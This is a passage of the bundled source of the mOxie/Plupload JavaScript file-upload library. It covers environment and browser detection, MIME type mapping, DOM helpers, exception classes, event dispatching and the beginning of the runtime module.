	            /(unix)\s?([\w\.]+)*/i                                              // UNIX
	            ], [NAME, VERSION]
	        ]
	    };


	    /////////////////
	    // Constructor
	    ////////////////


	    var UAParser = function (uastring) {

	        var ua = uastring || ((window && window.navigator && window.navigator.userAgent) ? window.navigator.userAgent : EMPTY);

	        this.getBrowser = function () {
	            return mapper.rgx.apply(this, regexes.browser);
	        };
	        this.getEngine = function () {
	            return mapper.rgx.apply(this, regexes.engine);
	        };
	        this.getOS = function () {
	            return mapper.rgx.apply(this, regexes.os);
	        };
	        this.getResult = function() {
	            return {
	                ua      : this.getUA(),
	                browser : this.getBrowser(),
	                engine  : this.getEngine(),
	                os      : this.getOS()
	            };
	        };
	        this.getUA = function () {
	            return ua;
	        };
	        this.setUA = function (uastring) {
	            ua = uastring;
	            return this;
	        };
	        this.setUA(ua);
	    };

	    return UAParser;
	})();


	function version_compare(v1, v2, operator) {
	  // From: http://phpjs.org/functions
	  // +      original by: Philippe Jausions (http://pear.php.net/user/jausions)
	  // +      original by: Aidan Lister (http://aidanlister.com/)
	  // + reimplemented by: Kankrelune (http://www.webfaktory.info/)
	  // +      improved by: Brett Zamir (http://brett-zamir.me)
	  // +      improved by: Scott Baker
	  // +      improved by: Theriault
	  // *        example 1: version_compare('8.2.5rc', '8.2.5a');
	  // *        returns 1: 1
	  // *        example 2: version_compare('8.2.50', '8.2.52', '<');
	  // *        returns 2: true
	  // *        example 3: version_compare('5.3.0-dev', '5.3.0');
	  // *        returns 3: -1
	  // *        example 4: version_compare('4.1.0.52','4.01.0.51');
	  // *        returns 4: 1

	  // Important: compare must be initialized at 0.
	  var i = 0,
	    x = 0,
	    compare = 0,
	    // vm maps textual PHP versions to negatives so they're less than 0.
	    // PHP currently defines these as CASE-SENSITIVE. It is important to
	    // leave these as negatives so that they can come before numerical versions
	    // and as if no letters were there to begin with.
	    // (1alpha is < 1 and < 1.1 but > 1dev1)
	    // If a non-numerical value can't be mapped to this table, it receives
	    // -7 as its value.
	    vm = {
	      'dev': -6,
	      'alpha': -5,
	      'a': -5,
	      'beta': -4,
	      'b': -4,
	      'RC': -3,
	      'rc': -3,
	      '#': -2,
	      'p': 1,
	      'pl': 1
	    },
	    // This function will be called to prepare each version argument.
	    // It replaces every _, -, and + with a dot.
	    // It surrounds any nonsequence of numbers/dots with dots.
	    // It replaces sequences of dots with a single dot.
	    //    version_compare('4..0', '4.0') == 0
	    // Important: A string of 0 length needs to be converted into a value
	    // even less than an unexisting value in vm (-7), hence [-8].
	    // It's also important to not strip spaces because of this.
	    //   version_compare('', ' ') == 1
	    prepVersion = function (v) {
	      v = ('' + v).replace(/[_\-+]/g, '.');
	      v = v.replace(/([^.\d]+)/g, '.$1.').replace(/\.{2,}/g, '.');
	      return (!v.length ? [-8] : v.split('.'));
	    },
	    // This converts a version component to a number.
	    // Empty component becomes 0.
	    // Non-numerical component becomes a negative number.
	    // Numerical component becomes itself as an integer.
	    numVersion = function (v) {
	      return !v ? 0 : (isNaN(v) ? vm[v] || -7 : parseInt(v, 10));
	    };

	  v1 = prepVersion(v1);
	  v2 = prepVersion(v2);
	  x = Math.max(v1.length, v2.length);
	  for (i = 0; i < x; i++) {
	    if (v1[i] == v2[i]) {
	      continue;
	    }
	    v1[i] = numVersion(v1[i]);
	    v2[i] = numVersion(v2[i]);
	    if (v1[i] < v2[i]) {
	      compare = -1;
	      break;
	    } else if (v1[i] > v2[i]) {
	      compare = 1;
	      break;
	    }
	  }
	  if (!operator) {
	    return compare;
	  }

	  // Important: operator is CASE-SENSITIVE.
	  // "No operator" seems to be treated as "<."
	  // Any other values seem to make the function return null.
	  switch (operator) {
	  case '>':
	  case 'gt':
	    return (compare > 0);
	  case '>=':
	  case 'ge':
	    return (compare >= 0);
	  case '<=':
	  case 'le':
	    return (compare <= 0);
	  case '==':
	  case '=':
	  case 'eq':
	    return (compare === 0);
	  case '<>':
	  case '!=':
	  case 'ne':
	    return (compare !== 0);
	  case '':
	  case '<':
	  case 'lt':
	    return (compare < 0);
	  default:
	    return null;
	  }
	}


	var can = (function() {
		var caps = {
				define_property: (function() {
					/* // currently too much extra code required, not exactly worth it
					try { // as of IE8, getters/setters are supported only on DOM elements
						var obj = {};
						if (Object.defineProperty) {
							Object.defineProperty(obj, 'prop', {
								enumerable: true,
								configurable: true
							});
							return true;
						}
					} catch(ex) {}

					if (Object.prototype.__defineGetter__ && Object.prototype.__defineSetter__) {
						return true;
					}*/
					return false;
				}()),

				create_canvas: (function() {
					// On the S60 and BB Storm, getContext exists, but always returns undefined
					// so we actually have to call getContext() to verify
					// github.com/Modernizr/Modernizr/issues/issue/97/
					var el = document.createElement('canvas');
					return !!(el.getContext && el.getContext('2d'));
				}()),

				return_response_type: function(responseType) {
					try {
						if (Basic.inArray(responseType, ['', 'text', 'document']) !== -1) {
							return true;
						} else if (window.XMLHttpRequest) {
							var xhr = new XMLHttpRequest();
							xhr.open('get', '/'); // otherwise Gecko throws an exception
							if ('responseType' in xhr) {
								xhr.responseType = responseType;
								// as of 23.0.1271.64, Chrome switched from throwing exception to merely logging it to the console (why? o why?)
								if (xhr.responseType !== responseType) {
									return false;
								}
								return true;
							}
						}
					} catch (ex) {}
					return false;
				},

				// ideas for this heavily come from Modernizr (http://modernizr.com/)
				use_data_uri: (function() {
					var du = new Image();

					du.onload = function() {
						caps.use_data_uri = (du.width === 1 && du.height === 1);
					};
					
					setTimeout(function() {
						du.src = "data:image/gif;base64,R0lGODlhAQABAIAAAP8AAAAAACH5BAAAAAAALAAAAAABAAEAAAICRAEAOw==";
					}, 1);
					return false;
				}()),

				use_data_uri_over32kb: function() { // IE8
					return caps.use_data_uri && (Env.browser !== 'IE' || Env.version >= 9);
				},

				use_data_uri_of: function(bytes) {
					return (caps.use_data_uri && bytes < 33000 || caps.use_data_uri_over32kb());
				},

				use_fileinput: function() {
					if (navigator.userAgent.match(/(Android (1.0|1.1|1.5|1.6|2.0|2.1))|(Windows Phone (OS 7|8.0))|(XBLWP)|(ZuneWP)|(w(eb)?OSBrowser)|(webOS)|(Kindle\/(1.0|2.0|2.5|3.0))/)) {
						return false;
					}

					var el = document.createElement('input');
					el.setAttribute('type', 'file');
					return !el.disabled;
				}
			};

		return function(cap) {
			var args = [].slice.call(arguments);
			args.shift(); // shift of cap
			return Basic.typeOf(caps[cap]) === 'function' ? caps[cap].apply(this, args) : !!caps[cap];
		};
	}());


	var uaResult = new UAParser().getResult();


	var Env = {
		can: can,

		uaParser: UAParser,
		
		browser: uaResult.browser.name,
		version: uaResult.browser.version,
		os: uaResult.os.name, // everybody intuitively types it in a lowercase for some reason
		osVersion: uaResult.os.version,

		verComp: version_compare,

		global_event_dispatcher: "moxie.core.EventTarget.instance.dispatchEvent"
	};

	// for backward compatibility
	// @deprecated Use `Env.os` instead
	Env.OS = Env.os;

	if (MXI_DEBUG) {
		Env.debug = {
			runtime: true,
			events: false
		};

		Env.log = function() {
			
			function logObj(data) {
				// TODO: this should recursively print out the object in a pretty way
				console.appendChild(document.createTextNode(data + "\n"));
			}

			var data = arguments[0];

			if (Basic.typeOf(data) === 'string') {
				data = Basic.sprintf.apply(this, arguments);
			}

			if (window && window.console && window.console.log) {
				window.console.log(data);
			} else if (document) {
				var console = document.getElementById('moxie-console');
				if (!console) {
					console = document.createElement('pre');
					console.id = 'moxie-console';
					//console.style.display = 'none';
					document.body.appendChild(console);
				}

				if (Basic.inArray(Basic.typeOf(data), ['object', 'array']) !== -1) {
					logObj(data);
				} else {
					console.appendChild(document.createTextNode(data + "\n"));
				}
			}
		};
	}

	return Env;
});

// Included from: src/javascript/core/I18n.js

/**
 * I18n.js
 *
 * Copyright 2013, Moxiecode Systems AB
 * Released under GPL License.
 *
 * License: http://www.plupload.com/license
 * Contributing: http://www.plupload.com/contributing
 */

define("moxie/core/I18n", [
	"moxie/core/utils/Basic"
], function(Basic) {
	var i18n = {};

	return {
		/**
		 * Extends the language pack object with new items.
		 *
		 * @param {Object} pack Language pack items to add.
		 * @return {Object} Extended language pack object.
		 */
		addI18n: function(pack) {
			return Basic.extend(i18n, pack);
		},

		/**
		 * Translates the specified string by checking for the english string in the language pack lookup.
		 *
		 * @param {String} str String to look for.
		 * @return {String} Translated string or the input string if it wasn't found.
		 */
		translate: function(str) {
			return i18n[str] || str;
		},

		/**
		 * Shortcut for translate function
		 *
		 * @param {String} str String to look for.
		 * @return {String} Translated string or the input string if it wasn't found.
		 */
		_: function(str) {
			return this.translate(str);
		},

		/**
		 * Pseudo sprintf implementation - simple way to replace tokens with specified values.
		 *
		 * @param {String} str String with tokens
		 * @return {String} String with replaced tokens
		 */
		sprintf: function(str) {
			var args = [].slice.call(arguments, 1);

			return str.replace(/%[a-z]/g, function() {
				var value = args.shift();
				return Basic.typeOf(value) !== 'undefined' ? value : '';
			});
		}
	};
});

// Included from: src/javascript/core/utils/Mime.js

/**
 * Mime.js
 *
 * Copyright 2013, Moxiecode Systems AB
 * Released under GPL License.
 *
 * License: http://www.plupload.com/license
 * Contributing: http://www.plupload.com/contributing
 */

define("moxie/core/utils/Mime", [
	"moxie/core/utils/Basic",
	"moxie/core/I18n"
], function(Basic, I18n) {
	
	var mimeData = "" +
		"application/msword,doc dot," +
		"application/pdf,pdf," +
		"application/pgp-signature,pgp," +
		"application/postscript,ps ai eps," +
		"application/rtf,rtf," +
		"application/vnd.ms-excel,xls xlb," +
		"application/vnd.ms-powerpoint,ppt pps pot," +
		"application/zip,zip," +
		"application/x-shockwave-flash,swf swfl," +
		"application/vnd.openxmlformats-officedocument.wordprocessingml.document,docx," +
		"application/vnd.openxmlformats-officedocument.wordprocessingml.template,dotx," +
		"application/vnd.openxmlformats-officedocument.spreadsheetml.sheet,xlsx," +
		"application/vnd.openxmlformats-officedocument.presentationml.presentation,pptx," +
		"application/vnd.openxmlformats-officedocument.presentationml.template,potx," +
		"application/vnd.openxmlformats-officedocument.presentationml.slideshow,ppsx," +
		"application/x-javascript,js," +
		"application/json,json," +
		"audio/mpeg,mp3 mpga mpega mp2," +
		"audio/x-wav,wav," +
		"audio/x-m4a,m4a," +
		"audio/ogg,oga ogg," +
		"audio/aiff,aiff aif," +
		"audio/flac,flac," +
		"audio/aac,aac," +
		"audio/ac3,ac3," +
		"audio/x-ms-wma,wma," +
		"image/bmp,bmp," +
		"image/gif,gif," +
		"image/jpeg,jpg jpeg jpe," +
		"image/photoshop,psd," +
		"image/png,png," +
		"image/svg+xml,svg svgz," +
		"image/tiff,tiff tif," +
		"text/plain,asc txt text diff log," +
		"text/html,htm html xhtml," +
		"text/css,css," +
		"text/csv,csv," +
		"text/rtf,rtf," +
		"video/mpeg,mpeg mpg mpe m2v," +
		"video/quicktime,qt mov," +
		"video/mp4,mp4," +
		"video/x-m4v,m4v," +
		"video/x-flv,flv," +
		"video/x-ms-wmv,wmv," +
		"video/avi,avi," +
		"video/webm,webm," +
		"video/3gpp,3gpp 3gp," +
		"video/3gpp2,3g2," +
		"video/vnd.rn-realvideo,rv," +
		"video/ogg,ogv," + 
		"video/x-matroska,mkv," +
		"application/vnd.oasis.opendocument.formula-template,otf," +
		"application/octet-stream,exe";
	
	
	var Mime = {

		mimes: {},

		extensions: {},

		// Parses the default mime types string into a mimes and extensions lookup maps
		addMimeType: function (mimeData) {
			var items = mimeData.split(/,/), i, ii, ext;
			
			for (i = 0; i < items.length; i += 2) {
				ext = items[i + 1].split(/ /);

				// extension to mime lookup
				for (ii = 0; ii < ext.length; ii++) {
					this.mimes[ext[ii]] = items[i];
				}
				// mime to extension lookup
				this.extensions[items[i]] = ext;
			}
		},


		extList2mimes: function (filters, addMissingExtensions) {
			var self = this, ext, i, ii, type, mimes = [];
			
			// convert extensions to mime types list
			for (i = 0; i < filters.length; i++) {
				ext = filters[i].extensions.split(/\s*,\s*/);

				for (ii = 0; ii < ext.length; ii++) {
					
					// if there's an asterisk in the list, then accept attribute is not required
					if (ext[ii] === '*') {
						return [];
					}

					type = self.mimes[ext[ii]];
					if (type && Basic.inArray(type, mimes) === -1) {
						mimes.push(type);
					}

					// future browsers should filter by extension, finally
					if (addMissingExtensions && /^\w+$/.test(ext[ii])) {
						mimes.push('.' + ext[ii]);
					} else if (!type) {
						// if we have no type in our map, then accept all
						return [];
					}
				}
			}
			return mimes;
		},


		mimes2exts: function(mimes) {
			var self = this, exts = [];
			
			Basic.each(mimes, function(mime) {
				if (mime === '*') {
					exts = [];
					return false;
				}

				// check if this thing looks like mime type
				var m = mime.match(/^(\w+)\/(\*|\w+)$/);
				if (m) {
					if (m[2] === '*') { 
						// wildcard mime type detected
						Basic.each(self.extensions, function(arr, mime) {
							if ((new RegExp('^' + m[1] + '/')).test(mime)) {
								[].push.apply(exts, self.extensions[mime]);
							}
						});
					} else if (self.extensions[mime]) {
						[].push.apply(exts, self.extensions[mime]);
					}
				}
			});
			return exts;
		},


		mimes2extList: function(mimes) {
			var accept = [], exts = [];

			if (Basic.typeOf(mimes) === 'string') {
				mimes = Basic.trim(mimes).split(/\s*,\s*/);
			}

			exts = this.mimes2exts(mimes);
			
			accept.push({
				title: I18n.translate('Files'),
				extensions: exts.length ? exts.join(',') : '*'
			});
			
			// save original mimes string
			accept.mimes = mimes;

			return accept;
		},


		getFileExtension: function(fileName) {
			var matches = fileName && fileName.match(/\.([^.]+)$/);
			if (matches) {
				return matches[1].toLowerCase();
			}
			return '';
		},

		getFileMime: function(fileName) {
			return this.mimes[this.getFileExtension(fileName)] || '';
		}
	};

	Mime.addMimeType(mimeData);

	return Mime;
});

// Included from: src/javascript/core/utils/Dom.js

/**
 * Dom.js
 *
 * Copyright 2013, Moxiecode Systems AB
 * Released under GPL License.
 *
 * License: http://www.plupload.com/license
 * Contributing: http://www.plupload.com/contributing
 */

define('moxie/core/utils/Dom', ['moxie/core/utils/Env'], function(Env) {

	/**
	Get DOM Element by it's id.

	@method get
	@for Utils
	@param {String} id Identifier of the DOM Element
	@return {DOMElement}
	*/
	var get = function(id) {
		if (typeof id !== 'string') {
			return id;
		}
		return document.getElementById(id);
	};

	/**
	Checks if specified DOM element has specified class.

	@method hasClass
	@static
	@param {Object} obj DOM element like object to add handler to.
	@param {String} name Class name
	*/
	var hasClass = function(obj, name) {
		if (!obj.className) {
			return false;
		}

		var regExp = new RegExp("(^|\\s+)"+name+"(\\s+|$)");
		return regExp.test(obj.className);
	};

	/**
	Adds specified className to specified DOM element.

	@method addClass
	@static
	@param {Object} obj DOM element like object to add handler to.
	@param {String} name Class name
	*/
	var addClass = function(obj, name) {
		if (!hasClass(obj, name)) {
			obj.className = !obj.className ? name : obj.className.replace(/\s+$/, '') + ' ' + name;
		}
	};

	/**
	Removes specified className from specified DOM element.

	@method removeClass
	@static
	@param {Object} obj DOM element like object to add handler to.
	@param {String} name Class name
	*/
	var removeClass = function(obj, name) {
		if (obj.className) {
			var regExp = new RegExp("(^|\\s+)"+name+"(\\s+|$)");
			obj.className = obj.className.replace(regExp, function($0, $1, $2) {
				return $1 === ' ' && $2 === ' ' ? ' ' : '';
			});
		}
	};

	/**
	Returns a given computed style of a DOM element.

	@method getStyle
	@static
	@param {Object} obj DOM element like object.
	@param {String} name Style you want to get from the DOM element
	*/
	var getStyle = function(obj, name) {
		if (obj.currentStyle) {
			return obj.currentStyle[name];
		} else if (window.getComputedStyle) {
			return window.getComputedStyle(obj, null)[name];
		}
	};


	/**
	Returns the absolute x, y position of an Element. The position will be returned in a object with x, y fields.

	@method getPos
	@static
	@param {Element} node HTML element or element id to get x, y position from.
	@param {Element} root Optional root element to stop calculations at.
	@return {object} Absolute position of the specified element object with x, y fields.
	*/
	var getPos = function(node, root) {
		var x = 0, y = 0, parent, doc = document, nodeRect, rootRect;

		node = node;
		root = root || doc.body;

		// Returns the x, y cordinate for an element on IE 6 and IE 7
		function getIEPos(node) {
			var bodyElm, rect, x = 0, y = 0;

			if (node) {
				rect = node.getBoundingClientRect();
				bodyElm = doc.compatMode === "CSS1Compat" ? doc.documentElement : doc.body;
				x = rect.left + bodyElm.scrollLeft;
				y = rect.top + bodyElm.scrollTop;
			}

			return {
				x : x,
				y : y
			};
		}

		// Use getBoundingClientRect on IE 6 and IE 7 but not on IE 8 in standards mode
		if (node && node.getBoundingClientRect && Env.browser === 'IE' && (!doc.documentMode || doc.documentMode < 8)) {
			nodeRect = getIEPos(node);
			rootRect = getIEPos(root);

			return {
				x : nodeRect.x - rootRect.x,
				y : nodeRect.y - rootRect.y
			};
		}

		parent = node;
		while (parent && parent != root && parent.nodeType) {
			x += parent.offsetLeft || 0;
			y += parent.offsetTop || 0;
			parent = parent.offsetParent;
		}

		parent = node.parentNode;
		while (parent && parent != root && parent.nodeType) {
			x -= parent.scrollLeft || 0;
			y -= parent.scrollTop || 0;
			parent = parent.parentNode;
		}

		return {
			x : x,
			y : y
		};
	};

	/**
	Returns the size of the specified node in pixels.

	@method getSize
	@static
	@param {Node} node Node to get the size of.
	@return {Object} Object with a w and h property.
	*/
	var getSize = function(node) {
		return {
			w : node.offsetWidth || node.clientWidth,
			h : node.offsetHeight || node.clientHeight
		};
	};

	return {
		get: get,
		hasClass: hasClass,
		addClass: addClass,
		removeClass: removeClass,
		getStyle: getStyle,
		getPos: getPos,
		getSize: getSize
	};
});

// Included from: src/javascript/core/Exceptions.js

/**
 * Exceptions.js
 *
 * Copyright 2013, Moxiecode Systems AB
 * Released under GPL License.
 *
 * License: http://www.plupload.com/license
 * Contributing: http://www.plupload.com/contributing
 */

define('moxie/core/Exceptions', [
	'moxie/core/utils/Basic'
], function(Basic) {
	function _findKey(obj, value) {
		var key;
		for (key in obj) {
			if (obj[key] === value) {
				return key;
			}
		}
		return null;
	}

	return {
		RuntimeError: (function() {
			var namecodes = {
				NOT_INIT_ERR: 1,
				NOT_SUPPORTED_ERR: 9,
				JS_ERR: 4
			};

			function RuntimeError(code) {
				this.code = code;
				this.name = _findKey(namecodes, code);
				this.message = this.name + ": RuntimeError " + this.code;
			}
			
			Basic.extend(RuntimeError, namecodes);
			RuntimeError.prototype = Error.prototype;
			return RuntimeError;
		}()),
		
		OperationNotAllowedException: (function() {
			
			function OperationNotAllowedException(code) {
				this.code = code;
				this.name = 'OperationNotAllowedException';
			}
			
			Basic.extend(OperationNotAllowedException, {
				NOT_ALLOWED_ERR: 1
			});
			
			OperationNotAllowedException.prototype = Error.prototype;
			
			return OperationNotAllowedException;
		}()),

		ImageError: (function() {
			var namecodes = {
				WRONG_FORMAT: 1,
				MAX_RESOLUTION_ERR: 2,
				INVALID_META_ERR: 3
			};

			function ImageError(code) {
				this.code = code;
				this.name = _findKey(namecodes, code);
				this.message = this.name + ": ImageError " + this.code;
			}
			
			Basic.extend(ImageError, namecodes);
			ImageError.prototype = Error.prototype;

			return ImageError;
		}()),

		FileException: (function() {
			var namecodes = {
				NOT_FOUND_ERR: 1,
				SECURITY_ERR: 2,
				ABORT_ERR: 3,
				NOT_READABLE_ERR: 4,
				ENCODING_ERR: 5,
				NO_MODIFICATION_ALLOWED_ERR: 6,
				INVALID_STATE_ERR: 7,
				SYNTAX_ERR: 8
			};

			function FileException(code) {
				this.code = code;
				this.name = _findKey(namecodes, code);
				this.message = this.name + ": FileException " + this.code;
			}
			
			Basic.extend(FileException, namecodes);
			FileException.prototype = Error.prototype;
			return FileException;
		}()),
		
		DOMException: (function() {
			var namecodes = {
				INDEX_SIZE_ERR: 1,
				DOMSTRING_SIZE_ERR: 2,
				HIERARCHY_REQUEST_ERR: 3,
				WRONG_DOCUMENT_ERR: 4,
				INVALID_CHARACTER_ERR: 5,
				NO_DATA_ALLOWED_ERR: 6,
				NO_MODIFICATION_ALLOWED_ERR: 7,
				NOT_FOUND_ERR: 8,
				NOT_SUPPORTED_ERR: 9,
				INUSE_ATTRIBUTE_ERR: 10,
				INVALID_STATE_ERR: 11,
				SYNTAX_ERR: 12,
				INVALID_MODIFICATION_ERR: 13,
				NAMESPACE_ERR: 14,
				INVALID_ACCESS_ERR: 15,
				VALIDATION_ERR: 16,
				TYPE_MISMATCH_ERR: 17,
				SECURITY_ERR: 18,
				NETWORK_ERR: 19,
				ABORT_ERR: 20,
				URL_MISMATCH_ERR: 21,
				QUOTA_EXCEEDED_ERR: 22,
				TIMEOUT_ERR: 23,
				INVALID_NODE_TYPE_ERR: 24,
				DATA_CLONE_ERR: 25
			};

			function DOMException(code) {
				this.code = code;
				this.name = _findKey(namecodes, code);
				this.message = this.name + ": DOMException " + this.code;
			}
			
			Basic.extend(DOMException, namecodes);
			DOMException.prototype = Error.prototype;
			return DOMException;
		}()),
		
		EventException: (function() {
			function EventException(code) {
				this.code = code;
				this.name = 'EventException';
			}
			
			Basic.extend(EventException, {
				UNSPECIFIED_EVENT_TYPE_ERR: 0
			});
			
			EventException.prototype = Error.prototype;
			
			return EventException;
		}())
	};
});

// Included from: src/javascript/core/EventTarget.js

/**
 * EventTarget.js
 *
 * Copyright 2013, Moxiecode Systems AB
 * Released under GPL License.
 *
 * License: http://www.plupload.com/license
 * Contributing: http://www.plupload.com/contributing
 */

define('moxie/core/EventTarget', [
	'moxie/core/utils/Env',
	'moxie/core/Exceptions',
	'moxie/core/utils/Basic'
], function(Env, x, Basic) {
	/**
	Parent object for all event dispatching components and objects

	@class EventTarget
	@constructor EventTarget
	*/
	function EventTarget() {
		// hash of event listeners by object uid
		var eventpool = {};
				
		Basic.extend(this, {
			
			/**
			Unique id of the event dispatcher, usually overriden by children

			@property uid
			@type String
			*/
			uid: null,
			
			/**
			Can be called from within a child  in order to acquire uniqie id in automated manner

			@method init
			*/
			init: function() {
				if (!this.uid) {
					this.uid = Basic.guid('uid_');
				}
			},

			/**
			Register a handler to a specific event dispatched by the object

			@method addEventListener
			@param {String} type Type or basically a name of the event to subscribe to
			@param {Function} fn Callback function that will be called when event happens
			@param {Number} [priority=0] Priority of the event handler - handlers with higher priorities will be called first
			@param {Object} [scope=this] A scope to invoke event handler in
			*/
			addEventListener: function(type, fn, priority, scope) {
				var self = this, list;

				// without uid no event handlers can be added, so make sure we got one
				if (!this.hasOwnProperty('uid')) {
					this.uid = Basic.guid('uid_');
				}
				
				type = Basic.trim(type);
				
				if (/\s/.test(type)) {
					// multiple event types were passed for one handler
					Basic.each(type.split(/\s+/), function(type) {
						self.addEventListener(type, fn, priority, scope);
					});
					return;
				}
				
				type = type.toLowerCase();
				priority = parseInt(priority, 10) || 0;
				
				list = eventpool[this.uid] && eventpool[this.uid][type] || [];
				list.push({fn : fn, priority : priority, scope : scope || this});
				
				if (!eventpool[this.uid]) {
					eventpool[this.uid] = {};
				}
				eventpool[this.uid][type] = list;
			},
			
			/**
			Check if any handlers were registered to the specified event

			@method hasEventListener
			@param {String} type Type or basically a name of the event to check
			@return {Mixed} Returns a handler if it was found and false, if - not
			*/
			hasEventListener: function(type) {
				var list = type ? eventpool[this.uid] && eventpool[this.uid][type] : eventpool[this.uid];
				return list ? list : false;
			},
			
			/**
			Unregister the handler from the event, or if former was not specified - unregister all handlers

			@method removeEventListener
			@param {String} type Type or basically a name of the event
			@param {Function} [fn] Handler to unregister
			*/
			removeEventListener: function(type, fn) {
				type = type.toLowerCase();
	
				var list = eventpool[this.uid] && eventpool[this.uid][type], i;
	
				if (list) {
					if (fn) {
						for (i = list.length - 1; i >= 0; i--) {
							if (list[i].fn === fn) {
								list.splice(i, 1);
								break;
							}
						}
					} else {
						list = [];
					}
	
					// delete event list if it has become empty
					if (!list.length) {
						delete eventpool[this.uid][type];
						
						// and object specific entry in a hash if it has no more listeners attached
						if (Basic.isEmptyObj(eventpool[this.uid])) {
							delete eventpool[this.uid];
						}
					}
				}
			},
			
			/**
			Remove all event handlers from the object

			@method removeAllEventListeners
			*/
			removeAllEventListeners: function() {
				if (eventpool[this.uid]) {
					delete eventpool[this.uid];
				}
			},
			
			/**
			Dispatch the event

			@method dispatchEvent
			@param {String/Object} Type of event or event object to dispatch
			@param {Mixed} [...] Variable number of arguments to be passed to a handlers
			@return {Boolean} true by default and false if any handler returned false
			*/
			dispatchEvent: function(type) {
				var uid, list, args, tmpEvt, evt = {}, result = true, undef;
				
				if (Basic.typeOf(type) !== 'string') {
					// we can't use original object directly (because of Silverlight)
					tmpEvt = type;

					if (Basic.typeOf(tmpEvt.type) === 'string') {
						type = tmpEvt.type;

						if (tmpEvt.total !== undef && tmpEvt.loaded !== undef) { // progress event
							evt.total = tmpEvt.total;
							evt.loaded = tmpEvt.loaded;
						}
						evt.async = tmpEvt.async || false;
					} else {
						throw new x.EventException(x.EventException.UNSPECIFIED_EVENT_TYPE_ERR);
					}
				}
				
				// check if event is meant to be dispatched on an object having specific uid
				if (type.indexOf('::') !== -1) {
					(function(arr) {
						uid = arr[0];
						type = arr[1];
					}(type.split('::')));
				} else {
					uid = this.uid;
				}
				
				type = type.toLowerCase();
								
				list = eventpool[uid] && eventpool[uid][type];

				if (list) {
					// sort event list by prority
					list.sort(function(a, b) { return b.priority - a.priority; });
					
					args = [].slice.call(arguments);
					
					// first argument will be pseudo-event object
					args.shift();
					evt.type = type;
					args.unshift(evt);

					if (MXI_DEBUG && Env.debug.events) {
						Env.log("Event '%s' fired on %u", evt.type, uid);	
					}

					// Dispatch event to all listeners
					var queue = [];
					Basic.each(list, function(handler) {
						// explicitly set the target, otherwise events fired from shims do not get it
						args[0].target = handler.scope;
						// if event is marked as async, detach the handler
						if (evt.async) {
							queue.push(function(cb) {
								setTimeout(function() {
									cb(handler.fn.apply(handler.scope, args) === false);
								}, 1);
							});
						} else {
							queue.push(function(cb) {
								cb(handler.fn.apply(handler.scope, args) === false); // if handler returns false stop propagation
							});
						}
					});
					if (queue.length) {
						Basic.inSeries(queue, function(err) {
							result = !err;
						});
					}
				}
				return result;
			},
			
			/**
			Alias for addEventListener

			@method bind
			@protected
			*/
			bind: function() {
				this.addEventListener.apply(this, arguments);
			},
			
			/**
			Alias for removeEventListener

			@method unbind
			@protected
			*/
			unbind: function() {
				this.removeEventListener.apply(this, arguments);
			},
			
			/**
			Alias for removeAllEventListeners

			@method unbindAll
			@protected
			*/
			unbindAll: function() {
				this.removeAllEventListeners.apply(this, arguments);
			},
			
			/**
			Alias for dispatchEvent

			@method trigger
			@protected
			*/
			trigger: function() {
				return this.dispatchEvent.apply(this, arguments);
			},
			

			/**
			Handle properties of on[event] type.

			@method handleEventProps
			@private
			*/
			handleEventProps: function(dispatches) {
				var self = this;

				this.bind(dispatches.join(' '), function(e) {
					var prop = 'on' + e.type.toLowerCase();
					if (Basic.typeOf(this[prop]) === 'function') {
						this[prop].apply(this, arguments);
					}
				});

				// object must have defined event properties, even if it doesn't make use of them
				Basic.each(dispatches, function(prop) {
					prop = 'on' + prop.toLowerCase(prop);
					if (Basic.typeOf(self[prop]) === 'undefined') {
						self[prop] = null; 
					}
				});
			}
			
		});
	}

	EventTarget.instance = new EventTarget(); 

	return EventTarget;
});

// Included from: src/javascript/runtime/Runtime.js

/**
 * Runtime.js
 *
 * Copyright 2013, Moxiecode Systems AB
 * Released under GPL License.
 *
 * License: http://www.plupload.com/license
 * Contributing: http://www.plupload.com/contributing
 */

define('moxie/runtime/Runtime', [
	"moxie/core/utils/Env",
	"moxie/core/utils/Basic",
	"moxie/core/utils/Dom",
	"moxie/core/EventTarget"
], function(Env, Basic, Dom, EventTarget) {
	var runtimeConstructors = {}, runtimes = {};

	/**
	Common set of methods and properties for every runtime instance

	@class Runtime

	@param {Object} options
	@param {String} type Sanitized name of the runtime
	@param {Object} [caps] Set of capabilities that differentiate specified runtime
	@param {Object} [modeCaps] Set of capabilities that do require specific operational mode
	@param {String} [preferredMode='browser'] Preferred operational mode to choose if no required capabilities were requested
	*/
	function Runtime(options, type, caps, modeCaps, preferredMode) {
		/**
		Dispatched when runtime is initialized and ready.
		Results in RuntimeInit on a connected component.

		@event Init
		*/

		/**
		Dispatched when runtime fails to initialize.
		Results in RuntimeError on a connected component.

		@event Error
		*/

		var self = this
		, _shim
		, _uid = Basic.guid(type + '_')
		, defaultMode = preferredMode || 'browser'
		;

		options = options || {};

		// register runtime in private hash
		runtimes[_uid] = this;

		/**
		Default set of capabilities, which can be redifined later by specific runtime

		@private
		@property caps
		@type Object
		*/
		caps = Basic.extend({
			// Runtime can: 
			// provide access to raw binary data of the file
			access_binary: false,
			// provide access to raw binary data of the image (image extension is optional) 
			access_image_binary: false,
			// display binary data as thumbs for example
			display_media: false,
			// make cross-domain requests
			do_cors: false,
			// accept files dragged and dropped from the desktop
			drag_and_drop: false,
			// filter files in selection dialog by their extensions
			filter_by_extension: true,
			// resize image (and manipulate it raw data of any file in general)
			resize_image: false,
			// periodically report how many bytes of total in the file were uploaded (loaded)
			report_upload_progress: false,
			// provide access to the headers of http response 
			return_response_headers: false,
			// support response of specific type, which should be passed as an argument
			// e.g. runtime.can('return_response_type', 'blob')
			return_response_type: false,
			// return http status code of the response
			return_status_code: true,
			// send custom http header with the request
			send_custom_headers: false,
			// pick up the files from a dialog
			select_file: false,
			// select whole folder in file browse dialog
			select_folder: false,
			// select multiple files at once in file browse dialog
			select_multiple: true,
			// send raw binary data, that is generated after image resizing or manipulation of other kind
			send_binary_string: false,
			// send cookies with http request and therefore retain session
			send_browser_cookies: true,
			// send data formatted as multipart/form-data
			send_multipart: true,
			// slice the file or blob to smaller parts
			slice_blob: false,
			// upload file without preloading it to memory, stream it out directly from disk
			stream_upload: false,
			// programmatically trigger file browse dialog
			summon_file_dialog: false,
			// upload file of specific size, size should be passed as argument
			// e.g. runtime.can('upload_filesize', '500mb')
			upload_filesize: true,
			// initiate http request with specific http method, method should be passed as argument
			// e.g. runtime.can('use_http_method', 'put')
			use_http_method: true
		}, caps);
			
	
		// default to the mode that is compatible with preferred caps
		if (options.preferred_caps) {
